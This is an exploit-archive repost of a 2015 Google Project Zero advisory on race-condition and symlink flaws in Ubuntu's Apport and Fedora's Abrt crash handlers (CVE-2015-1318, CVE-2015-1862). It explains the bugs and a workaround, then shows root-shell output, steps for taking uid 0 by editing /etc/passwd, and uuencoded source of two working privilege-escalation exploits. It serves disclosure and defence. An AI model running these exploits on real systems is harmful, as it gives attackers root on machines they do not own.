Home / exploitsPDF  

Abrt / Apport Race Condition / Symlink

Posted on 15 April 2015

Hello, this is CVE-2015-1318 and CVE-2015-1862 (essentially the same bugs in two different implementations, apport and abrt respectively). These were discussed on the vendors list last week. If the first character of kern.core_pattern sysctl is a pipe, the kernel will invoke the specified program, and pass it the core on stdin. Apport (Ubuntu) and Abrt (Fedora) use this feature to analyze and log crashes. Since the introduction of containers, Abrt and Apport have attempted to transparently handle namespaces by chrooting into the same root as the crashing program [1] [2]. Unfortunately, this is incorrect because root cannot safely execve() after a chroot into a user specified directory. Furthermore, Abrt suffers from numerous race conditions and symlink problems from trusting unprivileged programs. For example, the code below (and lots of similar code) is vulnerable to a filesystem race where a user unlinks the file after the copy but before the chown. https://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L634 strcpy(source_filename + source_base_ofs, "maps"); strcpy(dest_base, FILENAME_MAPS); copy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE); IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); This code trusts various symlinks in /tmp without validation: https://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L806 char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid); int src_fd = open(java_log, O_RDONLY); free(java_log); This code trusts the /proc/pid/exe symlink, even though it is possible to link it anywhere you want. https://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L368 sprintf(buf, "/proc/%lu/exe", (long)pid); int src_fd_binary = open(buf, O_RDONLY); /* might fail and return -1, it's ok */ This code trusts the attacker controlled root symlink and copies files from it. https://github.com/abrt/libreport/blob/master/src/lib/dump_dir.c#L671 if (chroot_dir) copy_file_from_chroot(dd, FILENAME_OS_INFO_IN_ROOTDIR, chroot_dir, "/etc/os-release"); This instructs librpm to trust an unprivileged root symlink: https://github.com/abrt/abrt/blob/master/src/daemon/rpm.c#L184 if (rpmtsSetRootDir(*ts, rootdir_or_NULL) != 0) { rpmtsFree(*ts); return -1; } And so on. There are other automatic crash analysis scripts, I believe systemd also has one - I haven't looked at it all. WORKAROUND I highly recommend setting `sysctl -w kern.core_pattern=core`. EXPLOITATION Two demonstration exploits are attached. The file `newpid.c` should produce a root shell on Fedora 20 or Ubuntu by invoking the crash handler inside an unprivileged chroot (possible since kernel 3.8). $ gcc -static newpid.c $ ./a.out uid=0(root) gid=0(root) groups=0(root) sh-4.3# exit exit The file `raceabrt.c` should make you the owner of any file on Fedora by racing the Abrt report creation. $ cat /etc/fedora-release Fedora release 21 (Twenty One) $ ./a.out /etc/passwd Detected ccpp-2015-04-13-17:40:31-5506.new, attempting to race... [ wait a few minutes ] exploit successful... -rw-r--r--. 1 taviso abrt 2421 Apr 13 11:15 /etc/passwd In case it isn't obvious, you can then give yourself uid zero. $ getent passwd taviso taviso:x:1000:1000:Tavis Ormandy:/home/taviso:/bin/bash $ vi /etc/passwd $ getent passwd taviso taviso:x:0:0:Tavis Ormandy:/home/taviso:/bin/bash $ su taviso Password: # id uid=0(root) gid=0(root) groups=0(root) exit REFERENCES [1] https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893 [2] https://github.com/abrt/abrt/pull/810 [3] http://man7.org/linux/man-pages/man7/user_namespaces.7.html CREDIT Tavis Ormandy, Google Project Zero. begin 644 newpid.c M(V1E9FEN92!?1TY57U-/55)#10HC:6YC;'5D92`<W1D:6N:#X*(VEN8VQU M9&4@/'5N:7-T9"YH/@HC:6YC;'5D92`<W1D;&EB+F@^"B-I;F-L=61E(#QF M8VYT;"YH/@HC:6YC;'5D92`<VEG;F%L+F@^"B-I;F-L=61E(#QE;&8N:#X* M(VEN8VQU9&4@/&5R<BYH/@HC:6YC;'5D92`<WES;&]G+F@^"B-I;F-L=61E M(#QS8VAE9"YH/@HC:6YC;'5D92`;&EN=7@O<V-H960N:#X*(VEN8VQU9&4@ M/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92`<WES+W-T870N:#X*(VEN8VQU9&4@ M/'-Y<R]A=7AV+F@^"B-I;F-L=61E(#QS>7,O=V%I="YH/@H*(R!W87)N:6YG M('1H:7,@9FEL92!M=7-T(&)E(&-O;7!I;&5D('=I=&@@+7-T871I8PH*+R* M+R@07!P;W)T+T%B<G0@5G5L;F5R86)I;&ET>2!$96UO($5X<&QO:70N"BO M"BO("!!<'!O<G0Z($-612TR,#$U+3$S,3@*+R@($%B<G0Z("`@0U9%+3(P M,34M,3@V,@HO+R`*+R@("`M+2!T879I<V]`8VUP>&-H9SAB+F-O;2P@07!R M:6P@,C`Q-2X*+R*+R@)"!G8V,@+7-T871I8R!N97=P:60N8PHO+R`D("XO M82YO=70*+R@=6ED/3`H<F]O="D@9VED/3`H<F]O="D@9W)O=7!S/3`H<F]O M="D*+R@<V@M-"XS(R!E>&ET"BO(&5X:70*+R*+R@2&EN=#H@5&@9V5T M(&QI8F,N82P*+R@('EU;2!I;G-T86QL(&=L:6)C+7-T871I8R!O<B!A<'0M M9V5T(&EN<W1A;&P@;&EB8S8M9&5V"BO"@II;G0@;6%I;BAI;G0@87)G8RP@ M8VAA<B`J*F%R9W8I"GL*("`@(&EN="!S=&%T=7,["B`@("!%;&8S,E]0:&1R M("IH9'(["B`@("!P:61?="!W<F%P<&5R.PH@("`@<&ED7W0@:6YI=#L*("`@ M('!I9%]T('-U8G!R;V-E<W,["B`@("!U;G-I9VYE9"!I.PH*("`@("O(%9E M<FEF>2!T:&ES(&ES(&$@<W1A=&EC(&5X96-U=&%B;&4@8GD@8VAE8VMI;F<@ M=&AE('!R;V=R86T@:&5A9&5R<R!F;W(@80H@("`@+R@9'EN86UI8R!S96=M M96YT+B!/<FEG:6YA;&QY($D@=&AO=6=H="!J=7-T(&-H96-K:6YG($%47T)! M4T4@=V]U;&0@=V]R:RP*("`@("O(&)U="!T:&%T(&ES;G0@<F5L:6%B;&4@ M86-R;W-S(&UA;GD@:V5R;F5L<RX*("`@(&AD<B`]("AV;VED("HI(&=E=&%U M>'9A;"A!5%]02$12*3L*"B`@("`O+R!)9B!W92!F:6YD(&%N>2!05%]$64Y! M34E#+"!T:&5N('1H:7,@:7,@<')O8F%B;'D@;F]T(&$@<W1A=&EC(&)I;F%R M>2X*("`@(&9O<B`H:2`](#`[(&D@/"!G971A=7AV86PH051?4$A.54TI.R!I M*RLI('L*("`@("`@("!I9B`H:&1R6VE=+G!?='EP92`]/2!05%]$64Y!34E# M*2!["B`@("`@("`@("`@(&5R<G@H15A)5%]&04E,55)%+"`B>6]U("IM=7-T M*B!C;VUP:6QE('=I=&@@+7-T871I8R(I.PH@("`@("`@('T*("`@('T*"B`@ M("`O+R!)9B!E>&5C=71I;VX@<F5A8VAE9"!H97)E+"!I="!L;V]K<R!L:6ME M('=E)W)E(&$@<W1A=&EC(&5X96-U=&%B;&4N($EF"B`@("`O+R!))VT@<F]O M="P@=&AE;B!W92=V92!C;VYV:6YC960@=&AE(&-O<F4@:&%N9&QE<B!T;R!R M=6X@=7,L('-O(&-R96%T92!A"B`@("`O+R!S971U:60@<F]O="!E>&5C=71A M8FQE('1H870@8V%N(&)E('5S960@;W5T<VED92!T:&4@8VAR;V]T+@H@("`@ M:68@*&=E='5I9"@I(#T](#`I('L*("`@("`@("!I9B`H8VAO=VXH(G-H(BP@ M,"P@,"D@(3T@,"D*("`@("`@("`@("`@97AI="A%6$E47T9!24Q54D4I.PH* M("`@("`@("!I9B`H8VAM;V0H(G-H(BP@,#0W-34I("$](#`I"B`@("`@("`@ M("`@(&5X:70H15A)5%]&04E,55)%*3L*"B`@("`@("`@<F5T=7)N($58251? M4U5#0T534SL*("`@('T*"B`@("`O+R!)9B!))VT@;F]T(')O;W0L(&)U="!E M=6ED(&ES(#`L('1H96X@=&AE(&5X<&QO:70@=V]R:V5D(&%N9"!W92!C86X@ M<W!A=VX*("`@("O(&$@<VAE;&P@86YD(&-L96%N=7`N"B`@("!I9B`H<V5T M=6ED*#`I(#T](#`I('L*("`@("`@("!S>7-T96TH(FED(BD["B`@("`@("`@ M<WES=&5M*")R;2`M<F8@97AP;&]I="(I.PH@("`@("`@(&5X96-L<"@B<V@B M+"`B<V@B+"!.54Q,*3L*"B`@("`@("`@+R@4V]M971H:6YG('=E;G0@=W)O M;F<N"B`@("`@("`@97)R*$58251?1D%)3%5212P@(F9A:6QE9"!T;R!S<&%W M;B!R;V]T('-H96QL+"!B=70@97AP;&]I="!W;W)K960B*3L*("`@('T*"B`@ M("`O+R!)="!L;V]K<R!L:6ME('1H92!E>'!L;VET(&AA<VXG="!R=6X@>65T M+"!S;R!C<F5A=&4@82!C:')O;W0N"B`@("!I9B`H;6MD:7(H(F5X<&QO:70B M+"`P-S4U*2`A/2`P"B`@("`@?'P@;6MD:7(H(F5X<&QO:70O=7-R(BP@,#<U M-2D@(3T@,`H@("`@('Q(&UK9&ER*")E>'!L;VET+W5S<B]S:&%R92(L(#`W M-34I("$](#`*("`@("!?"!M:V1I<B@B97AP;&]I="]U<W(O<VAA<F4O87!P M;W)T(BP@,#<U-2D@(3T@,`H@("`@('Q(&UK9&ER*")E>'!L;VET+W5S<B]L M:6)E>&5C(BP@,#<U-2D@(3T@,"D@>PH@("`@("`@(&5R<BA%6$E47T9!24Q5 M4D4L(")F86EL960@=&@8W)E871E(&-H<F]O="!D:7)E8W1O<GDB*3L*("`@ M('T*"B`@("`O+R!#<F5A=&4@;&EN:W,@=&@=&AE(&5X<&QO:70@;&]C871I M;VYS('=E(&YE960N"B`@("!I9B`H;&EN:R@J87)G=BP@(F5X<&QO:70O<V@B M*2`A/2`P"B`@("`@?'P@;&EN:R@J87)G=BP@(F5X<&QO:70O=7-R+W-H87)E M+V%P<&]R="]A<'!O<G0B*2`A/2`P("`@("`@("`O+R!58G5N='4*("`@("! M?"!L:6YK*"IA<F=V+"`B97AP;&]I="]U<W(O;&EB97AE8R]A8G)T+6AO;VLM M8V-P<"(I("$](#`I('L@("O($9E9&]R80H@("`@("`@(&5R<BA%6$E47T9! M24Q54D4L(")F86EL960@=&@8W)E871E(')E<75I<F5D(&AA<F0@;&EN:W,B M*3L*("`@('T*"B`@("`O+R!#<F5A=&4@82!S=6)P<F]C97-S('-O('=E(&1O M;B=T(&5N=&5R('1H92!N97<@;F%M97-P86-E+@H@("`@:68@*"AW<F%P<&5R M(#T@9F]R:R@I*2`]/2`P*2!["@H@("`@("`@("O($EN('1H92!C:&EL9"!P M<F]C97-S+"!C<F5A=&4@82!N97<@<&ED(&%N9"!U<V5R(&YS+B!4:&4@<&ED M"B`@("`@("`@+R@;F%M97-P86-E(&ES(&]N;'D@;F5E9&5D(&]N(%5B=6YT M=2P@8F5C875S92!T:&5Y(&-H96-K(&9O<B`E4"`A/2`E<`H@("`@("`@("O M(&EN('1H96ER(&-O<F4@:&%N9&QE<BX@3VX@1F5D;W)A+"!J=7-T(&$@=7-E M<B!N<R!I<R!S=69F:6-I96YT+@H@("`@("`@(&EF("AU;G-H87)E*$-,3TY% M7TY%5U!)1"!($-,3TY%7TY%5U5315(I("$](#`I"B`@("`@("`@("`@(&5R M<BA%6$E47T9!24Q54D4L(")F86EL960@=&@8W)E871E(&YE=R!N86UE<W!A M8V4B*3L*"B`@("`@("`@+R@0W)E871E(&$@<')O8V5S<R!I;B!T:&4@;F5W M(&YA;65S<&%C92X*("`@("`@("!I9B`H*&EN:70@/2!F;W)K*"DI(#T](#`I M('L*"B`@("`@("`@("`@("O($EN:70@*'!I9"`Q*2!S:6=N86P@:&%N9&QI M;F<@:7,@<W!E8VEA;"P@<V@;6%K92!A('-U8G!R;V-E<W,@=&*("`@("`@ M("`@("`@+R@:&%N9&QE('1H92!T<F%P<RX*("`@("`@("`@("`@:68@*"AS M=6)P<F]C97-S(#T@9F]R:R@I*2`]/2`P*2!["B`@("`@("`@("`@("`@("`O M+R!#:&%N9V4@+W!R;V,O<V5L9B]R;V]T+"!W:&EC:"!W92!C86X@9&@87,@ M=V4G<F4@<')I=FEL96=E9`H@("`@("`@("`@("`@("`@+R@=VET:&EN('1H M92!N97<@;F%M97!A8V4N"B`@("`@("`@("`@("`@("!I9B`H8VAR;V]T*")E M>'!L;VET(BD@(3T@,"D@>PH@("`@("`@("`@("`@("`@("`@(&5R<BA%6$E4 M7T9!24Q54D4L(")C:')O;W0@9&ED;G0@=V]R:R(I.PH@("`@("`@("`@("`@ M("`@?0H*("`@("`@("`@("`@("`@("O($YO=R!T<F%P('1O(&=E="!T:&4@ M8V]R92!H86YD;&5R(&EN=F]K960N"B`@("`@("`@("`@("`@("!?7V)U:6QT M:6Y?=')A<"@I.PH*("`@("`@("`@("`@("`@("O(%-H;W5L9&XG="!H87!P M96XL('5N;&5S<R!U<V5R(&ES('!T<F%C:6YG('5S(&]R('-O;65T:&EN9RX* M("`@("`@("`@("`@("`@(&5R<BA%6$E47T9!24Q54D4L(")C;W)E9'5M<"!F M86EL960L('=E<F4@>6]U('!T<F%C:6YG/R(I.PH@("`@("`@("`@("!]"@H@ M("`@("`@("`@("`O+R!)9B!T:&4@<W5B<')O8V5S<R!E>&ET960@=VET:"!A M;B!A8FYO<FUA;"!S:6=N86PL('1H96X@979E<GET:&EN9R!W;W)K960N"B`@ M("`@("`@("`@(&EF("AW86ET<&ED*'-U8G!R;V-E<W,L("9S=&%T=7,L(#`I M(#T]('-U8G!R;V-E<W,I("`@(`H@("`@("`@("`@("`@("`@<F5T=7)N(%=) M1E-)1TY!3$5$*'-T871U<RD*("`@("`@("`@("`@("`@("`@("`@("`@/R!% M6$E47U-50T-%4U,*("`@("`@("`@("`@("`@("`@("`@("`@.B!%6$E47T9! M24Q54D4["@H@("`@("`@("`@("`O+R!3;VUE=&AI;F<@9&ED;B=T('=O<FLN M"B`@("`@("`@("`@(')E='5R;B!%6$E47T9!24Q54D4["B`@("`@("`@?0H* M("`@("`@("`O+R!4:&4@;F5W(&YA;65S<&%C92!D:61N)W0@=V]R:RX*("`@ M("`@("!I9B`H=V%I='!I9"AI;FET+"`F<W1A='5S+"`P*2`]/2!I;FET*0H@ M("`@("`@("`@("!R971U<FX@5TE&15A)5$5$*'-T871U<RD@)B8@5T582513 M5$%455,H<W1A='5S*2`]/2!%6$E47U-50T-%4U,*("`@("`@("`@("`@("`@ M("`@("`_($58251?4U5#0T534PH@("`@("`@("`@("`@("`@("`@(#H@15A) M5%]&04E,55)%.PH*("`@("`@("`O+R!786ET<&ED(&9A:6QU<F4N"B`@("`@ M("`@<F5T=7)N($58251?1D%)3%5213L*("`@('T*"B`@("`O+R!)9B!T:&4@ M<W5B<')O8V5S<R!R971U<FYE9"!S8V-E<W,L('1H92!E>'!L;VET('!R;V)A M8FQY('=O<FME9"P@<F5L;V%D"B`@("`O+R!W:71H(&5U:60@>F5R;RX*("`@ M(&EF("AW86ET<&ED*'=R87!P97(L("9S=&%T=7,L(#`I(#T]('=R87!P97(I M('L*("`@("`@("`O+R!!;&P@9&]N92P@<W!A=VX@<F]O="!S:&5L;"X*("`@ M("`@("!I9B`H5TE&15A)5$5$*'-T871U<RD@)B8@5T5825135$%455,H<W1A M='5S*2`]/2`P*2!["B`@("`@("`@("`@(&5X96-L*"IA<F=V+"`B=S`P="(L M($Y53$PI.PH@("`@("`@('T*("`@('T*"B`@("`O+R!5;FMN;W=N(&5R<F]R M+@H@("`@97)R>"A%6$E47T9!24Q54D4L(")U;F5X<&5C=&5D(')E<W5L="P@ 58V%N;F]T(&-O;G1I;G5E(BD["GT* ` end begin 644 raceabrt.c M(VEN8VQU9&4@/'-T9&QI8BYH/@HC:6YC;'5D92`=6YI<W1D+F@^"B-I;F-L M=61E(#QS=&1B;V]L+F@^"B-I;F-L=61E(#QS=&1I;RYH/@HC:6YC;'5D92` M<VEG;F%L+F@^"B-I;F-L=61E(#QE<G(N:#X*(VEN8VQU9&4@/'-T<FEN9RYH M/@HC:6YC;'5D92`86QL;V-A+F@^"B-I;F-L=61E(#QL:6UI=',N:#X*(VEN M8VQU9&4@/'-Y<R]I;F]T:69Y+F@^"B-I;F-L=61E(#QS>7,O<')C=&PN:#X* M(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92`<WES+W1Y<&5S+F@^ M"B-I;F-L=61E(#QS>7,O=V%I="YH/@HC:6YC;'5D92`<WES+W-T870N:#X* M"BO"BO(%1H:7,@:7,@82!R86-E(&-O;F1I=&EO;B!E>'!L;VET(&9O<B!# M5D4M,C`Q-2TQ.#8R+"!T87)G971I;F<@1F5D;W)A+@HO+PHO+R!.;W1E.B!) M="!C86X@=&%K92!A(&9E=R!M:6YU=&5S('1O('=I;B!T:&4@<F%C92!C;VYD M:71I;VXN"BO"BO("`@+2T@=&%V:7-O0&-M<'AC:&<X8BYC;VTL($%P<FEL M(#(P,34N"BO"BO("0@8V%T("]E=&,O9F5D;W)A+7)E;&5A<V4@"BO($9E M9&]R82!R96QE87-E(#(Q("A4=V5N='D@3VYE*0HO+R`D("XO82YO=70@+V5T M8R]P87-S=V0*+R@6R!W86ET(&$@9F5W(&UI;G5T97,@70HO+R!$971E8W1E M9"!C8W!P+3(P,34M,#0M,3,M,C$Z-30Z-#,M,30Q.#,N;F5W+"!A='1E;7!T M:6YG('1O(')A8V4N+BX*+R@("`@($1I9&XG="!W:6XL('1R>6EN9R!A9V%I M;B$*+R@1&5T96-T960@8V-P<"TR,#$U+3`T+3$S+3(Q.C4T.C0S+3$T,3@V M+FYE=RP@871T96UP=&EN9R!T;R!R86-E+BXN"BO("`@("!$:61N)W0@=VEN M+"!T<GEI;F<@86=A:6XA"BO($1E=&5C=&5D(&-C<'`M,C`Q-2TP-"TQ,RTR M,3HU-#HT,RTQ-#$Y,2YN97<L(&%T=&5M<'1I;F<@=&@<F%C92XN+@HO+R`@ M("`@1&ED;B=T('=I;BP@=')Y:6YG(&%G86EN(0HO+R!$971E8W1E9"!C8W!P M+3(P,34M,#0M,3,M,C$Z-30Z-#,M,30Q.34N;F5W+"!A='1E;7!T:6YG('1O M(')A8V4N+BX*+R@("`@($1I9&XG="!W:6XL('1R>6EN9R!A9V%I;B$*+R@ M1&5T96-T960@8V-P<"TR,#$U+3`T+3$S+3(Q.C4T.C0S+3$T,3DX+FYE=RP@ M871T96UP=&EN9R!T;R!R86-E+BXN"BO("`@("!%>'!L;VET('-U8V-E<W-F M=6PN+BX*+R@+7)W+7(M+7(M+2X@,2!T879I<V@86)R="`Q-S4Q(%-E<"`R M-B`@,C`Q-"`O971C+W!A<W-W9`HO+PH*<W1A=&EC(&-O;G-T(&-H87(@:T%B M<G10<F5F:7A;72`]("(O=F%R+W1M<"]A8G)T+R(["G-T871I8R!C;VYS="!S M:7IE7W0@:TUA>$5V96YT0G5F(#T@.#$Y,CL*<W1A=&EC(&-O;G-T('-I>F5? M="!K56YL:6YK071T96UP=',@/2`X,3DR("H@,CL*<W1A=&EC(&-O;G-T(&EN M="!K0W)A<VA$96QA>2`](#$P,#`P.PH*<W1A=&EC('!I9%]T(&-R96%T95]A M8G)T7V5V96YT<RAC;VYS="!C:&%R("IN86UE*3L*"FEN="!M86EN*&EN="!A M<F=C+"!C:&%R("HJ87)G=BD*>PH@("`@:6YT(&9D+"!I.PH@("`@:6YT('=A M=&-H.PH@("`@<&ED7W0@8VAI;&0["B`@("!S=')U8W0@<W1A="!S=&%T8G5F M.PH@("`@<W1R=6-T(&EN;W1I9GE?979E;G0@*F5V.PH@("`@8VAA<B`J979E M;G1B=68@/2!A;&QO8V$H:TUA>$5V96YT0G5F*3L*("`@('-S:7IE7W0@<VEZ M93L*"B`@("`O+R!&:7)S="!A<F=U;65N="!I<R!T:&4@9FEL96YA;64@=7-E M<B!W86YT<R!U<R!T;R!C:&]W;B@I+@H@("`@:68@*&%R9V,@(3T@,BD@>PH@ M("`@("`@(&5R<G@H15A)5%]&04E,55)%+"`B<&QE87-E('-P96-I9GD@9FEL M96YA;64@=&@8VAO=VX@*&4N9RX@+V5T8R]P87-S=V0I(BD["B`@("!]"@H@ M("`@+R@5&AI<R!I<R!R97%U:7)E9"!A<R!W92!N965D('1O(&UA:V4@9&EF M9F5R96YT(&-O;6T@;F%M97,@=&@879O:60*("`@("O('1R:6=G97)I;F<@ M86)R="!R871E(&QI;6ET:6YG+"!S;R!W92!F;W)K*"DO97AE8W9E*"D@9&EF M9F5R96YT(&YA;65S+@H@("`@:68@*'-T<F-M<"AA<F=V6S%=+"`B8W)A<V@B M*2`]/2`P*2!["B`@("`@("`@7U]B=6EL=&EN7W1R87`H*3L*("`@('T*"B`@ M("`O+R!3971U<"!I;F]T:69Y+"!A;F0@861D(&$@=V%T8V@@;VX@=&AE(&%B M<G0@9&ER96-T;W)Y+@H@("`@:68@*"AF9"`](&EN;W1I9GE?:6YI="@I*2` M(#`I('L*("`@("`@("!E<G(H15A)5%]&04E,55)%+"`B=6YA8FQE('1O(&EN M:71I86QI>F4@:6YO=&EF>2(I.PH@("`@?0H*("`@(&EF("@H=V%T8V@@/2!I M;F]T:69Y7V%D9%]W871C:"AF9"P@:T%B<G10<F5F:7@L($E.7T-214%412DI M(#P@,"D@>PH@("`@("`@(&5R<BA%6$E47T9!24Q54D4L(")F86EL960@=&@ M8W)E871E(&YE=R!W871C:"!D97-C<FEP=&]R(BD["B`@("!]"@H@("`@+R@ M4W1A<G0@8V%U<VEN9R!C<F%S:&5S('-O('1H870@86)R="!G96YE<F%T97,@ M<F5P;W)T<RX*("`@(&EF("@H8VAI;&0@/2!C<F5A=&5?86)R=%]E=F5N=',H M*F%R9W8I*2`]/2`M,2D@>PH@("`@("`@(&5R<BA%6$E47T9!24Q54D4L(")F M86EL960@=&@9V5N97)A=&4@86)R="!R97!O<G1S(BD["B`@("!]"@H@("`@ M+R@3F]W('-T87)T('!R;V-E<W-I;F<@:6YO=&EF>2!E=F5N=',N"B`@("!W M:&EL92`H*'-I>F4@/2!R96%D*&9D+"!E=F5N=&)U9BP@:TUA>$5V96YT0G5F M*2D@/B`P*2!["@H@("`@("`@("O(%=E(&-A;B!R96-E:79E(&UU;'1I<&QE M(&5V96YT<R!P97(@<F5A9"P@<V@8VAE8VL@96%C:"!O;F4N"B`@("`@("`@ M9F]R("AE=B`](&5V96YT8G5F.R!E=B`(&5V96YT8G5F("L@<VEZ93L@978@ M/2`F978M/FYA;65;978M/FQE;ETI('L*("`@("`@("`@("`@8VAA<B!D:7)N M86UE6TY!345?34%873L*("`@("`@("`@("`@8VAA<B!M87!S;F%M95M.04U% M7TU!6%T["B`@("`@("`@("`@(&-H87(@8V]M;6%N9%LQ,#(T73L*"B`@("`@ M("`@("`@("O($EF('1H:7,@:7,@82!N97<@8V-P<"!R97!O<G0L('=E(&-A M;B!S=&%R="!T<GEI;F<@=&@<F%C92!I="X*("`@("`@("`@("`@:68@*'-T M<FYC;7`H978M/FYA;64L(")C8W!P(BP@-"D@(3T@,"D@>PH@("`@("`@("`@ M("`@("`@8V]N=&EN=64["B`@("`@("`@("`@('T*"B`@("`@("`@("`@("O M($-O;G-T<G5C="!P871H;F%M97,N"B`@("`@("`@("`@('-T<FYC<'DH9&ER M;F%M92P@:T%B<G10<F5F:7@L('-I>F5O9B!D:7)N86UE*3L*("`@("`@("`@ M("`@<W1R;F-A="AD:7)N86UE+"!E=BT^;F%M92P@<VEZ96]F(&1I<FYA;64I M.PH*("`@("`@("`@("`@<W1R;F-P>2AM87!S;F%M92P@9&ER;F%M92P@<VEZ M96]F(&1I<FYA;64I.PH@("`@("`@("`@("!S=')N8V%T*&UA<'-N86UE+"`B M+VUA<',B+"!S:7IE;V8@;6%P<VYA;64I.PH*("`@("`@("`@("`@9G!R:6YT M9BAS=&1E<G(L(")$971E8W1E9"`E<RP@871T96UP=&EN9R!T;R!R86-E+BXN M7&XB+"!E=BT^;F%M92D["@H@("`@("`@("`@("`O+R!#:&5C:R!I9B!W92!N M965D('1O('=A:70@9F]R('1H92!N97AT(&5V96YT(&]R(&YO="X*("`@("`@ M("`@("`@=VAI;&4@*&%C8V5S<RAD:7)N86UE+"!&7T]+*2`]/2`P*2!["B`@ M("`@("`@("`@("`@("!F;W(@*&D@/2`P.R!I(#P@:U5N;&EN:T%T=&5M<'1S M.R!I*RLI('L*("`@("`@("`@("`@("`@("`@("`O+R!792!N965D('1O('5N M;&EN:R@I(&%N9"!S>6UL:6YK*"D@=&AE(&9I;&4@=&@=VEN+@H@("`@("`@ M("`@("`@("`@("`@(&EF("AU;FQI;FLH;6%P<VYA;64I("$](#`I('L*("`@ M("`@("`@("`@("`@("`@("`@("`@8V]N=&EN=64["B`@("`@("`@("`@("`@ M("`@("`@?0H*("`@("`@("`@("`@("`@("`@("`O+R!792!W;VX@=&AE(&9I M<G-T(')A8V4L(&YO=R!A='1E;7!T('1O('=I;B!T:&4*("`@("`@("`@("`@ M("`@("`@("`O+R!S96-O;F0@<F%C92XN+BX*("`@("`@("`@("`@("`@("`@ M("!I9B`H<WEM;&EN:RAA<F=V6S%=+"!M87!S;F%M92D@(3T@,"D@>PH@("`@ M("`@("`@("`@("`@("`@("`@("!B<F5A:SL*("`@("`@("`@("`@("`@("`@ M("!]"@H@("`@("`@("`@("`@("`@("`@("O(%1H:7,@;&]O:W,@9V]O9"P@ M8G5T(&1O97-N)W0@;65A;B!W92!W;VXL(&ET)W,@<&]S<VEB;&4*("`@("`@ M("`@("`@("`@("`@("`O+R!C:&]W;B@I(&UI9VAT(&AA=F4@:&%P<&5N960@ M=VAI;&4@=&AE(&9I;&4@=V%S('5N;&EN:V5D+@H@("`@("`@("`@("`@("`@ M("`@("O"B`@("`@("`@("`@("`@("`@("`@+R@1VEV92!I="!A(&9E=R!M M:6-R;W-E8V]N9',@=&@<G5N(&-H;W=N*"DN+BYJ=7-T(&EN(&-A<V4*("`@ M("`@("`@("`@("`@("`@("`O+R!W92!D:60@=VEN+@H@("`@("`@("`@("`@ M("`@("`@('5S;&5E<"@Q,"D["@H@("`@("`@("`@("`@("`@("`@(&EF("AS M=&%T*&%R9W9;,5TL("9S=&%T8G5F*2`A/2`P*2!["B`@("`@("`@("`@("`@ M("`@("`@("`@(&5R<G@H15A)5%]&04E,55)%+"`B=6YA8FQE('1O('-T870@ M=&%R9V5T(&9I;&4@)7,B+"!A<F=V6S%=*3L*("`@("`@("`@("`@("`@("`@ M("!]"@H@("`@("`@("`@("`@("`@("`@(&EF("AS=&%T8G5F+G-T7W5I9"`A M/2!G971U:60H*2D@>PH@("`@("`@("`@("`@("`@("`@("`@("!B<F5A:SL* M("`@("`@("`@("`@("`@("`@("!]"@H@("`@("`@("`@("`@("`@("`@(&9P M<FEN=&8H<W1D97)R+"`B7'1%>'!L;VET('-U8V-E<W-F=6PN+BY<;B(I.PH* M("`@("`@("`@("`@("`@("`@("`O+R!792=R92!T:&4@;F5W(&]W;F5R+"!R M=6X@;',@+6P@=&@<VAO=R!U<V5R+@H@("`@("`@("`@("`@("`@("`@('-P M<FEN=&8H8V]M;6%N9"P@(FQS("UL("5S(BP@87)G=ELQ72D["B`@("`@("`@ M("`@("`@("`@("`@<WES=&5M*&-O;6UA;F0I.PH*("`@("`@("`@("`@("`@ M("`@("!R971U<FX@15A)5%]354-#15-3.PH@("`@("`@("`@("`@("`@?0H@ M("`@("`@("`@("!]"@H@("`@("`@("`@("!F<')I;G1F*'-T9&5R<BP@(EQT M1&ED;B=T('=I;BP@=')Y:6YG(&%G86EN(5QN(BD["B`@("`@("`@?0H@("`@ M?0H*("`@(&5R<BA%6$E47T9!24Q54D4L(")F86EL960@=&@<F5A9"!I;F]T M:69Y(&5V96YT(BD["GT*"BO(%1H:7,@<F]U=&EN92!A='1E;7!T<R!T;R!G M96YE<F%T92!N97<@86)R="!E=F5N=',N(%=E(&-A;B=T(&IU<W0@8W)A<V@L M"BO(&)E8V%U<V4@86)R="!S86YE;'D@=')I97,@=&@<F%T92!L:6UI="!R M97!O<G0@8W)E871I;VXL('-O('=E(&YE960@82!N97<*+R@8V]M;2!N86UE M(&9O<B!E86-H(&-R87-H+@IS=&%T:6,@<&ED7W0@8W)E871E7V%B<G1?979E M;G1S*&-O;G-T(&-H87(@*FYA;64I"GL*("`@(&-H87(@*FYE=VYA;64["B`@ M("!I;G0@<W1A='5S.PH@("`@<&ED7W0@8VAI;&0L('!I9#L*"B`@("`O+R!# M<F5A=&4@82!C:&EL9"!P<F]C97-S('1O(&=E;F5R871E(&5V96YT<RX*("`@ M(&EF("@H8VAI;&0@/2!F;W)K*"DI("$](#`I"B`@("`@("`@<F5T=7)N(&-H M:6QD.PH*("`@("O($UA:V4@<W5R92!W92!S=&]P('=H96X@<&%R96YT(&1I M97,N"B`@("!P<F-T;"A04E]3151?4$1%051(4TE'+"!324=+24Q,*3L*"B`@ M("!W:&EL92`H=')U92D@>PH@("`@("`@("O($-H;V]S92!A(&YE=R!U;G5S M960@9FEL96YA;64*("`@("`@("!N97=N86UE(#T@=&UP;F%M*#`I.PH*("`@ M("`@("`O+R!-86ME('-U<F4@=V4G<F4@;F]T('1O;R!F87-T+@H@("`@("`@ M('5S;&5E<"AK0W)A<VA$96QA>2D["@H@("`@("`@("O($-R96%T92!A(&YE M=R!C<F%S:&EN9R!S=6)P<F]C97-S+@H@("`@("`@(&EF("@H<&ED(#T@9F]R M:R@I*2`]/2`P*2!["B`@("`@("`@("`@(&EF("AL:6YK*&YA;64L(&YE=VYA M;64I("$](#`I('L*("`@("`@("`@("`@("`@(&5R<BA%6$E47T9!24Q54D4L M(")F86EL960@=&@8W)E871E(&$@;F5W(&5X96YA;64B*3L*("`@("`@("`@ M("`@?0H*("`@("`@("`@("`@+R@17AE8W5T92!C<F%S:&EN9R!P<F]C97-S 